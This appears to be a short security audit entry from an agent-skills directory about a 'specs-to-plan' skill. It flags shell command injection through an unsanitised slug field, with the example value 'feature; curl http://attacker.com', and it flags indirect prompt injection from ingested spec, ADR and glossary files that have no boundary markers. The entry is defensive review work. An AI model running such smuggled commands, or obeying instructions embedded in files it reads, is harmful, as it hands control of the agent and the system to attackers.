The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructs the agent to execute a shell command git check-ignore -q docs/plans/<date>-<slug>.md using variables extracted from the front matter of untrusted specification files. A maliciously crafted specification file could inject arbitrary shell commands through the slug field (e.g., slug: "feature; curl http://attacker.com").- [INDIRECT_PROMPT_INJECTION]: The skill reads and processes external specification files, ADRs, and glossary documents, which are used to generate code and determine execution paths.
Ingestion points: docs/specs/, docs/adr/, and CONTEXT.md as defined in Step 2 of SKILL.md.
Boundary markers: No explicit delimiters or boundary markers are defined for isolating the content of these ingested files to prevent the agent from following instructions embedded within them.
Capability inventory: Subprocess execution via git and file creation in docs/plans/.
Sanitization: No logic is provided to sanitize or validate the slug or date variables before they are interpolated into the shell command.- [DYNAMIC_EXECUTION]: The skill generates source code and test cases at runtime based on the provided specifications. While this is the intended purpose, it involves the generation of executable content based on untrusted input.

specs-to-plan